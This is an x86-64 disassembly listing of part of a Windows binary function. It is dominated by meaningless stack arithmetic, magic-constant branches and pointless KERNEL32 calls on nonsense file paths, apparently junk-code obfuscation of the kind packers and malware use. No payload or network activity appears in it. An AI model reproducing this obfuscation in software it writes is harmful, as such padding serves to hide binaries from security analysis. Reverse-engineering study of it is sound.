mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
or eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
and eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a68], rax
mov eax, dword [rsp + 0x3abc]
mov ecx, dword [rsp + 0x3b4c]
sub ecx, eax
mov eax, ecx
mov dword [0x14017a4d0], eax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b08]
sub eax, 0x56
mov dword [rsp + 0x3b08], eax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x69b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov eax, dword [section..data]
shr eax, 0x10
mov dword [rsp + 0x3b14], eax
movabs rax, 0x771a980c537ef8
mov rcx, qword [rsp + 0x6a50]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov eax, dword [rsp + 0x3abc]
mov rcx, qword [rsp + 0x6a28]
mov qword [rsp + 0x6a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a80]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x44]
sub eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x6a48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [rsp + 0x3b4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov byte [rsp + 0x40], al
cmp dword [rsp + 0x3b08], 0xa392
jae 0x1400037da
mov eax, dword [rsp + 0x3b14]
sub eax, 0xb67f
cmp eax, dword [section..data]
jae 0x140003d73
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3b54]
lea r8, [rsp + 0x6a20]
lea rdx, [rsp + 0x6a28]
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov dword [rsp + 0x3af8], eax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc08], ax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov dword [rsp + 0x3b58], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x6a70]
mov qword [rsp + 0x6a88], rax
movabs rax, 0xbe771a980c537ef8
cmp qword [rsp + 0x6a88], rax
je 0x140003db4
movabs rax, 0x78f6559ba78019
cmp qword [rsp + 0x6a88], rax
je 0x14015e5c0
jmp 0x14015e643
mov rax, qword [rsp + 0x6a48]
mov qword [rsp + 0x6a90], rax
movabs rax, 0x771da247a83aad
cmp qword [rsp + 0x6a90], rax
je 0x140003ddd
jmp 0x140003f35
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x43]
movsx edx, byte [rsp + 0x44]
add ecx, edx
cmp eax, ecx
jl 0x140003e01
jmp 0x140003e4f
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69b0]
mov rdx, qword [rsp + 0x6a48]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140003e4f
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3b58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3af0], eax
mov eax, dword [rsp + 0x3b14]
mov dword [rsp + 0x3b5c], eax
cmp dword [rsp + 0x3b5c], 0x2a52
je 0x140003f10
cmp dword [rsp + 0x3b5c], 0xd86f
je 0x140003e80
jmp 0x140003f30
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
xor eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3b60]
lea r8, [rsp + 0x6a38]
lea rdx, [rsp + 0x6a40]
mov rcx, qword [rsp + 0x6a98]
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov dword [rsp + 0x3aec], eax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x40], al
jmp 0x140003f30
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
jmp 0x14015e5a2
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
mov eax, dword [section..data]
mov dword [rsp + 0x3b64], eax
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0x6aa0], rax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov dword [0x140179004], eax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x6aa8], rax
cmp qword [rsp + 0x6aa8], 0
je 0x140003fc6
movabs rax, 0x74f644ae675638
cmp qword [rsp + 0x6aa8], rax
je 0x14015e4bf
jmp 0x14015e4ea
cmp dword [rsp + 0x3b50], 0x5f0e
je 0x1400044e5
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x69b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b4c]
mov ecx, dword [rsp + 0x3abc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3b14]
movzx ecx, al
mov eax, dword [rsp + 0x3b68]
shr eax, cl
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
shl eax, cl
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [rsp + 0x3abc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x43]
sar eax, cl
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
shl eax, cl
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3b34]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x6a48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov word [rsp + 0xc10], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
and eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3b4c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
mov eax, dword [rsp + 0x3b64]
movzx ecx, al
mov eax, dword [rsp + 0x3b68]
shl eax, cl
mov dword [section..data], eax
mov rax, qword [rsp + 0x6a68]
movzx ecx, al
mov rax, qword [rsp + 0x69b0]
shr rax, cl
mov qword [rsp + 0x6a48], rax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
and eax, ecx
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x3b50]
add eax, 0x18
mov dword [rsp + 0x3b50], eax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc10]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b64]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
mov eax, dword [rsp + 0x3abc]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3b64]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov byte [rsp + 0x42], al
jmp 0x140003fc6
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0xc18], ax
lea rax, [rsp + 0x43]
mov qword [rsp + 0x6ab0], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov word [rsp + 0xc1c], ax
mov eax, dword [rsp + 0x3b14]
movzx ecx, al
mov eax, dword [rsp + 0x3b64]
shr eax, cl
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x3b68]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400045d2
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x3b6c], al
cmp byte [rsp + 0x3b6c], 0xfa
je 0x140004563
cmp byte [rsp + 0x3b6c], 0xfe
je 0x140004598
jmp 0x1400045d2
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
shl eax, cl
mov byte [rsp + 0x41], al
lea rdx, str.july_Arise_Mormon
lea rcx, [rsp + 0x20020]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov qword [rsp + 0x6ab8], rax
jmp 0x1400045d2
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x6a70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x3b64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
lea rax, [rsp + 0x3b14]
mov qword [0x14017a4d8], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b14]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3b64]
mov edx, dword [section..data]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1400046e3
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0x6ac0], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xc08]
movsx edx, word [rsp + 0xc18]
sub ecx, edx
cmp eax, ecx
jg 0x1400046c7
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a68]
mov rdx, qword [rsp + 0x6a48]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14000469c
mov r8, qword [rsp + 0x6a50]
mov edx, dword [section..data]
mov rax, qword [rsp + 0x6a38]
movzx ecx, word [rax]
call fcn.14015ec30
nop
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a68], rax
mov dword [rsp + 0x3b70], 0xe4e4
jmp 0x1400046e3
lea rdx, [rsp + 0x6ac0]
lea rcx, str.C:AdmissionCatchword
call qword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x6a70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
cmp rax, qword [rcx]
jge 0x14000487c
movzx eax, word [rsp + 0xc10]
mov dword [rsp + 0x3b74], eax
cmp dword [rsp + 0x3b74], 0xf18
je 0x14000472b
jmp 0x1400047b1
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x6ac8], rax
movabs rax, 0x79974cd96be77e
cmp qword [rsp + 0x6ac8], rax
je 0x140004754
jmp 0x140004796
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
shl eax, cl
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
nop
jmp 0x1400047ac
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x40], al
jmp 0x140004877
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0xc20], ax
mov dword [rsp + 0x3b78], 0x3fc1
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x3b34]
mov rcx, qword [rsp + 0x6ac0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3abc]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14000482e
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b64], eax
jmp 0x140004877
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov byte [0x140179008], al
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0x6ad0], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
jmp 0x140004946
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x3b7c], eax
cmp dword [rsp + 0x3b7c], 0x3a9d
je 0x14000489f
jmp 0x140004929
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xc18]
movsx edx, word [rsp + 0xc20]
sub ecx, edx
cmp eax, ecx
jl 0x14000490a
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x6a70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov edx, 0x94
lea rcx, [rsp + 0x69e0]
call qword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov dword [rsp + 0x3b68], eax
jmp 0x140004927
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sar eax, cl
mov word [rsp + 0xc1c], ax
jmp 0x140004946
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xc08]
and eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3b58], eax
mov eax, dword [rsp + 0x3b64]
mov dword [rsp + 0x3b68], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [rsp + 0x44], al
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b64]
mov ecx, dword [rsp + 0x3b68]
xor ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3af0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b58], eax
mov rax, qword [rsp + 0x6a68]
movzx ecx, al
mov rax, qword [rsp + 0x69b0]
shr rax, cl
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [rsp + 0x44], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc1c], ax
mov eax, dword [rsp + 0x3b70]
add eax, 0xc6
mov dword [rsp + 0x3b70], eax
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b64]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b14], eax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x3b64]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a70], rax
cmp dword [rsp + 0x3b70], 0x114d8
jb 0x140004946
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x6ad8], rax
mov rax, qword [rsp + 0x6a70]
mov qword [rsp + 0x6ae0], rax
cmp qword [rsp + 0x6ae0], 0
je 0x140004c39
movabs rax, 0x75fc4a449b46f2
cmp qword [rsp + 0x6ae0], rax
je 0x140004c1e
jmp 0x14015e3fb
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
sub eax, ecx
mov byte [rsp + 0x42], al
jmp 0x14015e3fb
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xc0c]
add ecx, edx
cmp eax, ecx
jle 0x140004d2d
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
movzx edx, byte [0x140179008]
add ecx, edx
cmp eax, ecx
jle 0x140004cbf
lea rdx, [rsp + 0x6ad0]
mov rcx, qword [rsp + 0x69c8]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov dword [rsp + 0x3aec], eax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov word [rsp + 0xc24], ax
mov dword [rsp + 0x20], 0xd2
lea r9, [rsp + 0x20068]
lea r8, [rsp + 0x44]
lea rdx, str.C:comprisingjudgmentalcarbonaceousquesting
lea rcx, str.C:legallyProhibitivelyMandolinsconstructivism
call qword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
